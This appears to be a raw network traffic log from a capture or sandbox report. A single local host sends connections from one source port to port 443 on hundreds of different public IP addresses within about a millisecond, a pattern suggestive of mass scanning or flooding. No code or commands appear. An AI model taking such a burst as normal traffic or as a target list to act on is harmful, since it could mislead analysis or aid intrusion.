Oct 17, 2024 02:19:47.167526007 CEST	20641	443	192.168.2.14	178.148.45.39
Oct 17, 2024 02:19:47.167526960 CEST	20641	443	192.168.2.14	212.191.139.122
Oct 17, 2024 02:19:47.167531967 CEST	20641	443	192.168.2.14	123.67.61.44
Oct 17, 2024 02:19:47.167531967 CEST	20641	443	192.168.2.14	79.18.145.177
Oct 17, 2024 02:19:47.167531967 CEST	20641	443	192.168.2.14	5.161.128.39
Oct 17, 2024 02:19:47.167531967 CEST	20641	443	192.168.2.14	118.57.46.185
Oct 17, 2024 02:19:47.167531967 CEST	20641	443	192.168.2.14	148.72.99.68
Oct 17, 2024 02:19:47.167531967 CEST	20641	443	192.168.2.14	210.18.244.253
Oct 17, 2024 02:19:47.167531967 CEST	20641	443	192.168.2.14	148.110.239.231
Oct 17, 2024 02:19:47.167532921 CEST	20641	443	192.168.2.14	109.201.114.174
Oct 17, 2024 02:19:47.167540073 CEST	20641	443	192.168.2.14	2.104.149.16
Oct 17, 2024 02:19:47.167540073 CEST	20641	443	192.168.2.14	210.175.220.160
Oct 17, 2024 02:19:47.167540073 CEST	20641	443	192.168.2.14	117.50.229.75
Oct 17, 2024 02:19:47.167540073 CEST	20641	443	192.168.2.14	212.56.245.66
Oct 17, 2024 02:19:47.167540073 CEST	20641	443	192.168.2.14	37.170.169.49
Oct 17, 2024 02:19:47.167546988 CEST	20641	443	192.168.2.14	148.17.235.253
Oct 17, 2024 02:19:47.167546988 CEST	20641	443	192.168.2.14	42.93.53.22
Oct 17, 2024 02:19:47.167546988 CEST	20641	443	192.168.2.14	94.45.129.192
Oct 17, 2024 02:19:47.167547941 CEST	20641	443	192.168.2.14	202.252.1.189
Oct 17, 2024 02:19:47.167547941 CEST	20641	443	192.168.2.14	148.146.31.37
Oct 17, 2024 02:19:47.167555094 CEST	20641	443	192.168.2.14	178.95.78.109
Oct 17, 2024 02:19:47.167556047 CEST	20641	443	192.168.2.14	2.157.186.17
Oct 17, 2024 02:19:47.167573929 CEST	20641	443	192.168.2.14	123.25.179.36
Oct 17, 2024 02:19:47.167574883 CEST	20641	443	192.168.2.14	148.41.238.250
Oct 17, 2024 02:19:47.167577028 CEST	20641	443	192.168.2.14	117.4.65.62
Oct 17, 2024 02:19:47.167576075 CEST	20641	443	192.168.2.14	5.221.38.149
Oct 17, 2024 02:19:47.167574883 CEST	20641	443	192.168.2.14	210.28.255.235
Oct 17, 2024 02:19:47.167576075 CEST	20641	443	192.168.2.14	109.22.248.30
Oct 17, 2024 02:19:47.167582989 CEST	20641	443	192.168.2.14	148.9.110.156
Oct 17, 2024 02:19:47.167599916 CEST	20641	443	192.168.2.14	94.100.183.242
Oct 17, 2024 02:19:47.167602062 CEST	20641	443	192.168.2.14	37.37.145.188
Oct 17, 2024 02:19:47.167603016 CEST	20641	443	192.168.2.14	178.225.153.50
Oct 17, 2024 02:19:47.167603016 CEST	20641	443	192.168.2.14	79.170.127.146
Oct 17, 2024 02:19:47.167622089 CEST	20641	443	192.168.2.14	212.252.52.243
Oct 17, 2024 02:19:47.167628050 CEST	20641	443	192.168.2.14	109.225.133.24
Oct 17, 2024 02:19:47.167632103 CEST	20641	443	192.168.2.14	37.68.30.113
Oct 17, 2024 02:19:47.167632103 CEST	20641	443	192.168.2.14	2.192.17.91
Oct 17, 2024 02:19:47.167632103 CEST	20641	443	192.168.2.14	109.181.237.64
Oct 17, 2024 02:19:47.167634010 CEST	20641	443	192.168.2.14	178.33.108.165
Oct 17, 2024 02:19:47.167634010 CEST	20641	443	192.168.2.14	117.37.112.4
Oct 17, 2024 02:19:47.167642117 CEST	20641	443	192.168.2.14	117.114.34.133
Oct 17, 2024 02:19:47.167642117 CEST	20641	443	192.168.2.14	123.221.148.30
Oct 17, 2024 02:19:47.167643070 CEST	20641	443	192.168.2.14	210.70.206.109
Oct 17, 2024 02:19:47.167649984 CEST	20641	443	192.168.2.14	94.149.211.111
Oct 17, 2024 02:19:47.167660952 CEST	20641	443	192.168.2.14	79.247.12.226
Oct 17, 2024 02:19:47.167669058 CEST	20641	443	192.168.2.14	2.9.13.247
Oct 17, 2024 02:19:47.167671919 CEST	20641	443	192.168.2.14	202.209.142.190
Oct 17, 2024 02:19:47.167673111 CEST	20641	443	192.168.2.14	123.44.128.86
Oct 17, 2024 02:19:47.167673111 CEST	20641	443	192.168.2.14	109.159.190.194
Oct 17, 2024 02:19:47.167675972 CEST	20641	443	192.168.2.14	94.45.76.216
Oct 17, 2024 02:19:47.167692900 CEST	20641	443	192.168.2.14	202.17.164.121
Oct 17, 2024 02:19:47.167692900 CEST	20641	443	192.168.2.14	79.149.229.187
Oct 17, 2024 02:19:47.167695045 CEST	20641	443	192.168.2.14	42.185.166.49
Oct 17, 2024 02:19:47.167695045 CEST	20641	443	192.168.2.14	118.49.82.23
Oct 17, 2024 02:19:47.167695045 CEST	20641	443	192.168.2.14	178.86.157.202
Oct 17, 2024 02:19:47.167716026 CEST	20641	443	192.168.2.14	42.238.50.254
Oct 17, 2024 02:19:47.167717934 CEST	20641	443	192.168.2.14	117.156.203.169
Oct 17, 2024 02:19:47.167717934 CEST	20641	443	192.168.2.14	37.40.177.59
Oct 17, 2024 02:19:47.167718887 CEST	20641	443	192.168.2.14	212.204.9.204
Oct 17, 2024 02:19:47.167718887 CEST	20641	443	192.168.2.14	79.51.66.156
Oct 17, 2024 02:19:47.167725086 CEST	20641	443	192.168.2.14	178.7.249.207
Oct 17, 2024 02:19:47.167725086 CEST	20641	443	192.168.2.14	2.151.95.61
Oct 17, 2024 02:19:47.167725086 CEST	20641	443	192.168.2.14	178.152.157.31
Oct 17, 2024 02:19:47.167725086 CEST	20641	443	192.168.2.14	5.234.166.15
Oct 17, 2024 02:19:47.167735100 CEST	20641	443	192.168.2.14	202.227.104.227
Oct 17, 2024 02:19:47.167749882 CEST	20641	443	192.168.2.14	42.163.51.68
Oct 17, 2024 02:19:47.167749882 CEST	20641	443	192.168.2.14	2.198.213.134
Oct 17, 2024 02:19:47.167752028 CEST	20641	443	192.168.2.14	118.240.164.195
Oct 17, 2024 02:19:47.167751074 CEST	20641	443	192.168.2.14	109.3.57.132
Oct 17, 2024 02:19:47.167762995 CEST	20641	443	192.168.2.14	37.90.50.238
Oct 17, 2024 02:19:47.167772055 CEST	20641	443	192.168.2.14	178.99.129.91
Oct 17, 2024 02:19:47.167788982 CEST	20641	443	192.168.2.14	202.22.213.20
Oct 17, 2024 02:19:47.167788982 CEST	20641	443	192.168.2.14	109.184.82.218
Oct 17, 2024 02:19:47.167788982 CEST	20641	443	192.168.2.14	178.162.195.146
Oct 17, 2024 02:19:47.167788982 CEST	20641	443	192.168.2.14	79.152.72.81
Oct 17, 2024 02:19:47.167793036 CEST	20641	443	192.168.2.14	212.136.207.102
Oct 17, 2024 02:19:47.167793036 CEST	20641	443	192.168.2.14	210.198.15.224
Oct 17, 2024 02:19:47.167794943 CEST	20641	443	192.168.2.14	94.191.47.58
Oct 17, 2024 02:19:47.167794943 CEST	20641	443	192.168.2.14	118.32.13.36
Oct 17, 2024 02:19:47.167794943 CEST	20641	443	192.168.2.14	42.179.236.147
Oct 17, 2024 02:19:47.167800903 CEST	20641	443	192.168.2.14	2.2.175.213
Oct 17, 2024 02:19:47.167800903 CEST	20641	443	192.168.2.14	202.140.43.114
Oct 17, 2024 02:19:47.167814016 CEST	20641	443	192.168.2.14	118.110.151.150
Oct 17, 2024 02:19:47.167817116 CEST	20641	443	192.168.2.14	5.19.205.255
Oct 17, 2024 02:19:47.167826891 CEST	20641	443	192.168.2.14	94.197.52.248
Oct 17, 2024 02:19:47.167828083 CEST	20641	443	192.168.2.14	2.50.168.51
Oct 17, 2024 02:19:47.167826891 CEST	20641	443	192.168.2.14	212.55.81.183
Oct 17, 2024 02:19:47.167830944 CEST	20641	443	192.168.2.14	148.165.5.123
Oct 17, 2024 02:19:47.167835951 CEST	20641	443	192.168.2.14	94.81.4.27
Oct 17, 2024 02:19:47.167846918 CEST	20641	443	192.168.2.14	210.206.139.52
Oct 17, 2024 02:19:47.167857885 CEST	20641	443	192.168.2.14	2.137.167.132
Oct 17, 2024 02:19:47.167857885 CEST	20641	443	192.168.2.14	37.102.178.162
Oct 17, 2024 02:19:47.167860985 CEST	20641	443	192.168.2.14	148.170.31.249
Oct 17, 2024 02:19:47.167876005 CEST	20641	443	192.168.2.14	210.227.17.76
Oct 17, 2024 02:19:47.167882919 CEST	20641	443	192.168.2.14	202.1.218.251
Oct 17, 2024 02:19:47.167882919 CEST	20641	443	192.168.2.14	123.21.10.103
Oct 17, 2024 02:19:47.167889118 CEST	20641	443	192.168.2.14	210.49.151.238
Oct 17, 2024 02:19:47.167891979 CEST	20641	443	192.168.2.14	117.237.116.118
Oct 17, 2024 02:19:47.167900085 CEST	20641	443	192.168.2.14	5.3.31.44
Oct 17, 2024 02:19:47.167901993 CEST	20641	443	192.168.2.14	118.226.247.32
Oct 17, 2024 02:19:47.167902946 CEST	20641	443	192.168.2.14	5.70.88.236
Oct 17, 2024 02:19:47.167902946 CEST	20641	443	192.168.2.14	178.237.86.203
Oct 17, 2024 02:19:47.167902946 CEST	20641	443	192.168.2.14	118.131.17.189
Oct 17, 2024 02:19:47.167902946 CEST	20641	443	192.168.2.14	212.16.15.51
Oct 17, 2024 02:19:47.167918921 CEST	20641	443	192.168.2.14	212.174.36.120
Oct 17, 2024 02:19:47.167918921 CEST	20641	443	192.168.2.14	37.166.89.149
Oct 17, 2024 02:19:47.167929888 CEST	20641	443	192.168.2.14	42.52.0.149
Oct 17, 2024 02:19:47.167933941 CEST	20641	443	192.168.2.14	109.50.211.18
Oct 17, 2024 02:19:47.167946100 CEST	20641	443	192.168.2.14	109.107.188.217
Oct 17, 2024 02:19:47.167946100 CEST	20641	443	192.168.2.14	117.102.94.164
Oct 17, 2024 02:19:47.167946100 CEST	20641	443	192.168.2.14	42.194.141.1
Oct 17, 2024 02:19:47.167946100 CEST	20641	443	192.168.2.14	42.147.72.23
Oct 17, 2024 02:19:47.167946100 CEST	20641	443	192.168.2.14	148.105.63.145
Oct 17, 2024 02:19:47.167946100 CEST	20641	443	192.168.2.14	178.140.80.202
Oct 17, 2024 02:19:47.167946100 CEST	20641	443	192.168.2.14	210.233.233.137
Oct 17, 2024 02:19:47.167946100 CEST	20641	443	192.168.2.14	210.153.65.125
Oct 17, 2024 02:19:47.167949915 CEST	20641	443	192.168.2.14	178.188.45.180
Oct 17, 2024 02:19:47.167949915 CEST	20641	443	192.168.2.14	212.56.202.113
Oct 17, 2024 02:19:47.167952061 CEST	20641	443	192.168.2.14	2.195.185.110
Oct 17, 2024 02:19:47.167949915 CEST	20641	443	192.168.2.14	37.95.34.224
Oct 17, 2024 02:19:47.167982101 CEST	20641	443	192.168.2.14	118.205.128.247
Oct 17, 2024 02:19:47.167982101 CEST	20641	443	192.168.2.14	178.101.252.81
Oct 17, 2024 02:19:47.167984962 CEST	20641	443	192.168.2.14	42.200.53.45
Oct 17, 2024 02:19:47.167984962 CEST	20641	443	192.168.2.14	79.128.156.214
Oct 17, 2024 02:19:47.167984962 CEST	20641	443	192.168.2.14	117.200.4.36
Oct 17, 2024 02:19:47.167994022 CEST	20641	443	192.168.2.14	210.204.127.10
Oct 17, 2024 02:19:47.167994976 CEST	20641	443	192.168.2.14	94.135.56.15
Oct 17, 2024 02:19:47.167994976 CEST	20641	443	192.168.2.14	123.92.28.52
Oct 17, 2024 02:19:47.167998075 CEST	20641	443	192.168.2.14	42.233.104.102
Oct 17, 2024 02:19:47.167996883 CEST	20641	443	192.168.2.14	94.255.47.119
Oct 17, 2024 02:19:47.167998075 CEST	20641	443	192.168.2.14	212.188.51.237
Oct 17, 2024 02:19:47.167996883 CEST	20641	443	192.168.2.14	210.109.94.88
Oct 17, 2024 02:19:47.167998075 CEST	20641	443	192.168.2.14	37.249.165.180
Oct 17, 2024 02:19:47.168009043 CEST	20641	443	192.168.2.14	37.215.103.49
Oct 17, 2024 02:19:47.168009043 CEST	20641	443	192.168.2.14	123.67.35.188
Oct 17, 2024 02:19:47.168015957 CEST	20641	443	192.168.2.14	2.186.16.30
Oct 17, 2024 02:19:47.168015957 CEST	20641	443	192.168.2.14	42.216.199.128
Oct 17, 2024 02:19:47.168015957 CEST	20641	443	192.168.2.14	123.34.104.224
Oct 17, 2024 02:19:47.168020010 CEST	20641	443	192.168.2.14	118.157.248.30
Oct 17, 2024 02:19:47.168020010 CEST	20641	443	192.168.2.14	178.228.200.39
Oct 17, 2024 02:19:47.168020964 CEST	20641	443	192.168.2.14	37.231.31.227
Oct 17, 2024 02:19:47.168020010 CEST	20641	443	192.168.2.14	202.22.106.186
Oct 17, 2024 02:19:47.168020964 CEST	20641	443	192.168.2.14	42.204.103.64
Oct 17, 2024 02:19:47.168021917 CEST	20641	443	192.168.2.14	212.77.3.209
Oct 17, 2024 02:19:47.168020010 CEST	20641	443	192.168.2.14	117.92.124.153
Oct 17, 2024 02:19:47.168021917 CEST	20641	443	192.168.2.14	118.73.160.221
Oct 17, 2024 02:19:47.168020010 CEST	20641	443	192.168.2.14	79.165.145.35
Oct 17, 2024 02:19:47.168021917 CEST	20641	443	192.168.2.14	94.208.230.155
Oct 17, 2024 02:19:47.168021917 CEST	20641	443	192.168.2.14	109.115.166.230
Oct 17, 2024 02:19:47.168035030 CEST	20641	443	192.168.2.14	212.226.15.201
Oct 17, 2024 02:19:47.168035030 CEST	20641	443	192.168.2.14	5.154.33.237
Oct 17, 2024 02:19:47.168037891 CEST	20641	443	192.168.2.14	212.6.128.78
Oct 17, 2024 02:19:47.168040991 CEST	20641	443	192.168.2.14	37.88.100.163
Oct 17, 2024 02:19:47.168049097 CEST	20641	443	192.168.2.14	178.20.53.65
Oct 17, 2024 02:19:47.168056011 CEST	20641	443	192.168.2.14	37.116.235.23
Oct 17, 2024 02:19:47.168059111 CEST	20641	443	192.168.2.14	109.246.58.126
Oct 17, 2024 02:19:47.168060064 CEST	20641	443	192.168.2.14	42.250.5.56
Oct 17, 2024 02:19:47.168060064 CEST	20641	443	192.168.2.14	212.118.213.116
Oct 17, 2024 02:19:47.168060064 CEST	20641	443	192.168.2.14	2.66.17.158
Oct 17, 2024 02:19:47.168060064 CEST	20641	443	192.168.2.14	118.244.253.93
Oct 17, 2024 02:19:47.168061018 CEST	20641	443	192.168.2.14	42.228.102.226
Oct 17, 2024 02:19:47.168118000 CEST	20641	443	192.168.2.14	109.87.124.78
Oct 17, 2024 02:19:47.168118000 CEST	20641	443	192.168.2.14	109.22.67.201
Oct 17, 2024 02:19:47.168118000 CEST	20641	443	192.168.2.14	148.134.35.213
Oct 17, 2024 02:19:47.168118000 CEST	20641	443	192.168.2.14	202.202.71.68
Oct 17, 2024 02:19:47.168119907 CEST	20641	443	192.168.2.14	148.241.21.186
Oct 17, 2024 02:19:47.168124914 CEST	20641	443	192.168.2.14	118.126.62.157
Oct 17, 2024 02:19:47.168124914 CEST	20641	443	192.168.2.14	178.88.131.15
Oct 17, 2024 02:19:47.168124914 CEST	20641	443	192.168.2.14	212.32.1.145
Oct 17, 2024 02:19:47.168143034 CEST	20641	443	192.168.2.14	212.145.176.43
Oct 17, 2024 02:19:47.168143034 CEST	20641	443	192.168.2.14	79.33.102.153
Oct 17, 2024 02:19:47.168148041 CEST	20641	443	192.168.2.14	117.207.77.230
Oct 17, 2024 02:19:47.168148041 CEST	20641	443	192.168.2.14	117.254.244.65
Oct 17, 2024 02:19:47.168149948 CEST	20641	443	192.168.2.14	94.155.0.61
Oct 17, 2024 02:19:47.168149948 CEST	20641	443	192.168.2.14	109.76.100.243
Oct 17, 2024 02:19:47.168148041 CEST	20641	443	192.168.2.14	212.215.241.49
Oct 17, 2024 02:19:47.168154001 CEST	20641	443	192.168.2.14	202.231.58.224
Oct 17, 2024 02:19:47.168154955 CEST	20641	443	192.168.2.14	202.170.185.213
Oct 17, 2024 02:19:47.168148041 CEST	20641	443	192.168.2.14	202.85.208.155
Oct 17, 2024 02:19:47.168154955 CEST	20641	443	192.168.2.14	118.83.51.241
Oct 17, 2024 02:19:47.168154001 CEST	20641	443	192.168.2.14	117.20.36.145
Oct 17, 2024 02:19:47.168154001 CEST	20641	443	192.168.2.14	118.169.16.125
Oct 17, 2024 02:19:47.168196917 CEST	20641	443	192.168.2.14	42.41.47.4
Oct 17, 2024 02:19:47.168196917 CEST	20641	443	192.168.2.14	178.129.51.79
Oct 17, 2024 02:19:47.168198109 CEST	20641	443	192.168.2.14	178.125.0.177
Oct 17, 2024 02:19:47.168198109 CEST	20641	443	192.168.2.14	37.252.254.59
Oct 17, 2024 02:19:47.168200016 CEST	20641	443	192.168.2.14	212.40.34.197
Oct 17, 2024 02:19:47.168201923 CEST	20641	443	192.168.2.14	202.188.180.53
Oct 17, 2024 02:19:47.168200970 CEST	20641	443	192.168.2.14	117.132.64.55
Oct 17, 2024 02:19:47.168201923 CEST	20641	443	192.168.2.14	2.116.112.211
Oct 17, 2024 02:19:47.168200970 CEST	20641	443	192.168.2.14	178.16.9.136
Oct 17, 2024 02:19:47.168201923 CEST	20641	443	192.168.2.14	79.15.1.55
Oct 17, 2024 02:19:47.168204069 CEST	20641	443	192.168.2.14	212.104.28.82
Oct 17, 2024 02:19:47.168204069 CEST	20641	443	192.168.2.14	5.192.10.207
Oct 17, 2024 02:19:47.168204069 CEST	20641	443	192.168.2.14	210.136.114.246
Oct 17, 2024 02:19:47.168204069 CEST	20641	443	192.168.2.14	210.188.192.77
Oct 17, 2024 02:19:47.168204069 CEST	20641	443	192.168.2.14	5.219.121.161
Oct 17, 2024 02:19:47.168205976 CEST	20641	443	192.168.2.14	212.129.92.165
Oct 17, 2024 02:19:47.168205023 CEST	20641	443	192.168.2.14	148.97.37.241
Oct 17, 2024 02:19:47.168204069 CEST	20641	443	192.168.2.14	37.60.209.208
Oct 17, 2024 02:19:47.168205023 CEST	20641	443	192.168.2.14	117.112.246.83
Oct 17, 2024 02:19:47.168205976 CEST	20641	443	192.168.2.14	79.111.175.158
Oct 17, 2024 02:19:47.168205976 CEST	20641	443	192.168.2.14	117.244.177.118
Oct 17, 2024 02:19:47.168221951 CEST	20641	443	192.168.2.14	210.202.44.100
Oct 17, 2024 02:19:47.168221951 CEST	20641	443	192.168.2.14	109.126.60.250
Oct 17, 2024 02:19:47.168227911 CEST	20641	443	192.168.2.14	109.60.42.87
Oct 17, 2024 02:19:47.168227911 CEST	20641	443	192.168.2.14	118.246.176.32
Oct 17, 2024 02:19:47.168227911 CEST	20641	443	192.168.2.14	210.188.207.14
Oct 17, 2024 02:19:47.168234110 CEST	20641	443	192.168.2.14	94.167.243.253
Oct 17, 2024 02:19:47.168227911 CEST	20641	443	192.168.2.14	210.77.19.192
Oct 17, 2024 02:19:47.168227911 CEST	20641	443	192.168.2.14	118.103.52.134
Oct 17, 2024 02:19:47.168227911 CEST	20641	443	192.168.2.14	178.79.182.151
Oct 17, 2024 02:19:47.168236971 CEST	20641	443	192.168.2.14	202.156.60.143
Oct 17, 2024 02:19:47.168229103 CEST	20641	443	192.168.2.14	94.248.176.42
Oct 17, 2024 02:19:47.168236971 CEST	20641	443	192.168.2.14	118.232.247.121
Oct 17, 2024 02:19:47.168236971 CEST	20641	443	192.168.2.14	109.218.148.34
Oct 17, 2024 02:19:47.168240070 CEST	20641	443	192.168.2.14	94.28.170.128
Oct 17, 2024 02:19:47.168240070 CEST	20641	443	192.168.2.14	212.188.59.62
Oct 17, 2024 02:19:47.168241024 CEST	20641	443	192.168.2.14	212.165.175.118
Oct 17, 2024 02:19:47.168241978 CEST	20641	443	192.168.2.14	117.97.144.21
Oct 17, 2024 02:19:47.168241978 CEST	20641	443	192.168.2.14	109.4.163.44
Oct 17, 2024 02:19:47.168241978 CEST	20641	443	192.168.2.14	94.67.224.42
Oct 17, 2024 02:19:47.168241978 CEST	20641	443	192.168.2.14	5.164.48.126
Oct 17, 2024 02:19:47.168241978 CEST	20641	443	192.168.2.14	202.255.200.125
Oct 17, 2024 02:19:47.168247938 CEST	20641	443	192.168.2.14	5.41.219.186
Oct 17, 2024 02:19:47.168247938 CEST	20641	443	192.168.2.14	202.63.105.216
Oct 17, 2024 02:19:47.168247938 CEST	20641	443	192.168.2.14	202.133.107.215
Oct 17, 2024 02:19:47.168248892 CEST	20641	443	192.168.2.14	178.72.100.103
Oct 17, 2024 02:19:47.168248892 CEST	20641	443	192.168.2.14	117.37.175.57
Oct 17, 2024 02:19:47.168252945 CEST	20641	443	192.168.2.14	2.6.152.201
Oct 17, 2024 02:19:47.168277979 CEST	20641	443	192.168.2.14	210.74.179.131
Oct 17, 2024 02:19:47.168277979 CEST	20641	443	192.168.2.14	37.174.166.162
Oct 17, 2024 02:19:47.168278933 CEST	20641	443	192.168.2.14	109.134.91.62
Oct 17, 2024 02:19:47.168277979 CEST	20641	443	192.168.2.14	94.19.29.73
Oct 17, 2024 02:19:47.168278933 CEST	20641	443	192.168.2.14	178.77.2.239
Oct 17, 2024 02:19:47.168284893 CEST	20641	443	192.168.2.14	42.56.12.4
Oct 17, 2024 02:19:47.168284893 CEST	20641	443	192.168.2.14	109.252.117.53
Oct 17, 2024 02:19:47.168284893 CEST	20641	443	192.168.2.14	94.37.69.157
Oct 17, 2024 02:19:47.168284893 CEST	20641	443	192.168.2.14	79.233.122.130
Oct 17, 2024 02:19:47.168286085 CEST	20641	443	192.168.2.14	2.119.89.141
Oct 17, 2024 02:19:47.168284893 CEST	20641	443	192.168.2.14	148.80.87.251
Oct 17, 2024 02:19:47.168286085 CEST	20641	443	192.168.2.14	117.167.73.11
Oct 17, 2024 02:19:47.168287992 CEST	20641	443	192.168.2.14	94.156.66.66
Oct 17, 2024 02:19:47.168287992 CEST	20641	443	192.168.2.14	5.91.21.40
Oct 17, 2024 02:19:47.168286085 CEST	20641	443	192.168.2.14	2.195.88.80
Oct 17, 2024 02:19:47.168287992 CEST	20641	443	192.168.2.14	123.7.213.32
Oct 17, 2024 02:19:47.168301105 CEST	20641	443	192.168.2.14	5.105.211.227
Oct 17, 2024 02:19:47.168286085 CEST	20641	443	192.168.2.14	37.249.198.74
Oct 17, 2024 02:19:47.168301105 CEST	20641	443	192.168.2.14	123.45.125.88
Oct 17, 2024 02:19:47.168303967 CEST	20641	443	192.168.2.14	79.108.232.140
Oct 17, 2024 02:19:47.168286085 CEST	20641	443	192.168.2.14	5.168.11.112
Oct 17, 2024 02:19:47.168303967 CEST	20641	443	192.168.2.14	2.149.45.10
Oct 17, 2024 02:19:47.168287992 CEST	20641	443	192.168.2.14	5.182.107.26
Oct 17, 2024 02:19:47.168286085 CEST	20641	443	192.168.2.14	202.147.156.10
Oct 17, 2024 02:19:47.168303967 CEST	20641	443	192.168.2.14	37.164.243.116
Oct 17, 2024 02:19:47.168288946 CEST	20641	443	192.168.2.14	202.199.80.125
Oct 17, 2024 02:19:47.168307066 CEST	20641	443	192.168.2.14	42.95.17.120
Oct 17, 2024 02:19:47.168288946 CEST	20641	443	192.168.2.14	42.180.178.50
Oct 17, 2024 02:19:47.168307066 CEST	20641	443	192.168.2.14	94.158.126.69
Oct 17, 2024 02:19:47.168307066 CEST	20641	443	192.168.2.14	5.157.128.61
Oct 17, 2024 02:19:47.168288946 CEST	20641	443	192.168.2.14	210.211.113.255
Oct 17, 2024 02:19:47.168307066 CEST	20641	443	192.168.2.14	202.35.70.130
Oct 17, 2024 02:19:47.168307066 CEST	20641	443	192.168.2.14	210.220.190.71
Oct 17, 2024 02:19:47.168288946 CEST	20641	443	192.168.2.14	117.60.53.137
Oct 17, 2024 02:19:47.168314934 CEST	20641	443	192.168.2.14	37.212.232.205
Oct 17, 2024 02:19:47.168314934 CEST	20641	443	192.168.2.14	118.159.36.254
Oct 17, 2024 02:19:47.168318033 CEST	20641	443	192.168.2.14	42.188.168.163
Oct 17, 2024 02:19:47.168318033 CEST	20641	443	192.168.2.14	42.215.70.224
Oct 17, 2024 02:19:47.168318033 CEST	20641	443	192.168.2.14	148.6.37.148
Oct 17, 2024 02:19:47.168318033 CEST	20641	443	192.168.2.14	178.32.52.151
Oct 17, 2024 02:19:47.168337107 CEST	20641	443	192.168.2.14	5.34.231.80
Oct 17, 2024 02:19:47.168337107 CEST	20641	443	192.168.2.14	109.35.254.37
Oct 17, 2024 02:19:47.168338060 CEST	20641	443	192.168.2.14	123.133.47.184
Oct 17, 2024 02:19:47.168338060 CEST	20641	443	192.168.2.14	118.53.98.191
Oct 17, 2024 02:19:47.168337107 CEST	20641	443	192.168.2.14	148.80.108.28
Oct 17, 2024 02:19:47.168338060 CEST	20641	443	192.168.2.14	178.19.29.86
Oct 17, 2024 02:19:47.168337107 CEST	20641	443	192.168.2.14	79.252.156.42
Oct 17, 2024 02:19:47.168338060 CEST	20641	443	192.168.2.14	118.95.222.101
Oct 17, 2024 02:19:47.168337107 CEST	20641	443	192.168.2.14	117.33.0.159
Oct 17, 2024 02:19:47.168340921 CEST	20641	443	192.168.2.14	2.149.249.212
Oct 17, 2024 02:19:47.168337107 CEST	20641	443	192.168.2.14	109.61.192.167
Oct 17, 2024 02:19:47.168340921 CEST	20641	443	192.168.2.14	212.208.111.176
Oct 17, 2024 02:19:47.168340921 CEST	20641	443	192.168.2.14	37.188.101.186
Oct 17, 2024 02:19:47.168354988 CEST	20641	443	192.168.2.14	118.142.210.249
Oct 17, 2024 02:19:47.168355942 CEST	20641	443	192.168.2.14	5.247.35.249
Oct 17, 2024 02:19:47.168355942 CEST	20641	443	192.168.2.14	109.247.200.50
Oct 17, 2024 02:19:47.168356895 CEST	20641	443	192.168.2.14	94.14.234.235
Oct 17, 2024 02:19:47.168355942 CEST	20641	443	192.168.2.14	79.158.141.63
Oct 17, 2024 02:19:47.168356895 CEST	20641	443	192.168.2.14	212.154.171.147
Oct 17, 2024 02:19:47.168355942 CEST	20641	443	192.168.2.14	178.140.109.168
Oct 17, 2024 02:19:47.168355942 CEST	20641	443	192.168.2.14	37.90.165.71
Oct 17, 2024 02:19:47.168356895 CEST	20641	443	192.168.2.14	42.226.129.125
Oct 17, 2024 02:19:47.168356895 CEST	20641	443	192.168.2.14	123.212.28.24
Oct 17, 2024 02:19:47.168355942 CEST	20641	443	192.168.2.14	109.127.151.22
Oct 17, 2024 02:19:47.168355942 CEST	20641	443	192.168.2.14	42.155.51.4
Oct 17, 2024 02:19:47.168355942 CEST	20641	443	192.168.2.14	2.244.222.22
Oct 17, 2024 02:19:47.168379068 CEST	20641	443	192.168.2.14	37.26.219.16
Oct 17, 2024 02:19:47.168379068 CEST	20641	443	192.168.2.14	109.126.165.114
Oct 17, 2024 02:19:47.168379068 CEST	20641	443	192.168.2.14	202.50.251.126
Oct 17, 2024 02:19:47.168379068 CEST	20641	443	192.168.2.14	178.247.186.1
Oct 17, 2024 02:19:47.168379068 CEST	20641	443	192.168.2.14	42.96.183.186
Oct 17, 2024 02:19:47.168381929 CEST	20641	443	192.168.2.14	148.108.158.198
Oct 17, 2024 02:19:47.168382883 CEST	20641	443	192.168.2.14	118.80.136.106
Oct 17, 2024 02:19:47.168384075 CEST	20641	443	192.168.2.14	37.32.82.233
Oct 17, 2024 02:19:47.168390036 CEST	20641	443	192.168.2.14	178.169.173.65
Oct 17, 2024 02:19:47.168389082 CEST	20641	443	192.168.2.14	5.195.36.130
Oct 17, 2024 02:19:47.168390036 CEST	20641	443	192.168.2.14	42.184.91.221
Oct 17, 2024 02:19:47.168389082 CEST	20641	443	192.168.2.14	94.103.57.201
Oct 17, 2024 02:19:47.168390036 CEST	20641	443	192.168.2.14	178.27.182.159
Oct 17, 2024 02:19:47.168390036 CEST	20641	443	192.168.2.14	212.174.255.151
Oct 17, 2024 02:19:47.168401957 CEST	20641	443	192.168.2.14	148.199.113.140
Oct 17, 2024 02:19:47.168411016 CEST	20641	443	192.168.2.14	37.190.85.26
Oct 17, 2024 02:19:47.168411016 CEST	20641	443	192.168.2.14	5.178.181.175
Oct 17, 2024 02:19:47.168415070 CEST	20641	443	192.168.2.14	212.216.249.237
Oct 17, 2024 02:19:47.168415070 CEST	20641	443	192.168.2.14	178.244.134.101
Oct 17, 2024 02:19:47.168416023 CEST	20641	443	192.168.2.14	123.145.112.144
Oct 17, 2024 02:19:47.168415070 CEST	20641	443	192.168.2.14	148.92.10.121
Oct 17, 2024 02:19:47.168416023 CEST	20641	443	192.168.2.14	148.93.41.71
Oct 17, 2024 02:19:47.168417931 CEST	20641	443	192.168.2.14	94.182.175.16
Oct 17, 2024 02:19:47.168420076 CEST	20641	443	192.168.2.14	118.107.194.151
Oct 17, 2024 02:19:47.168420076 CEST	20641	443	192.168.2.14	210.126.90.101
Oct 17, 2024 02:19:47.168433905 CEST	20641	443	192.168.2.14	178.55.163.171
Oct 17, 2024 02:19:47.168433905 CEST	20641	443	192.168.2.14	148.115.219.144
Oct 17, 2024 02:19:47.168433905 CEST	20641	443	192.168.2.14	148.4.222.130
Oct 17, 2024 02:19:47.168437004 CEST	20641	443	192.168.2.14	202.23.69.191
Oct 17, 2024 02:19:47.168437004 CEST	20641	443	192.168.2.14	178.6.176.138
Oct 17, 2024 02:19:47.168440104 CEST	20641	443	192.168.2.14	37.215.228.63
Oct 17, 2024 02:19:47.168440104 CEST	20641	443	192.168.2.14	2.239.210.145
Oct 17, 2024 02:19:47.168441057 CEST	20641	443	192.168.2.14	123.179.33.76
Oct 17, 2024 02:19:47.168440104 CEST	20641	443	192.168.2.14	37.79.199.113
Oct 17, 2024 02:19:47.168441057 CEST	20641	443	192.168.2.14	212.109.3.242
Oct 17, 2024 02:19:47.168442011 CEST	20641	443	192.168.2.14	79.182.196.97
Oct 17, 2024 02:19:47.168441057 CEST	20641	443	192.168.2.14	118.240.252.49
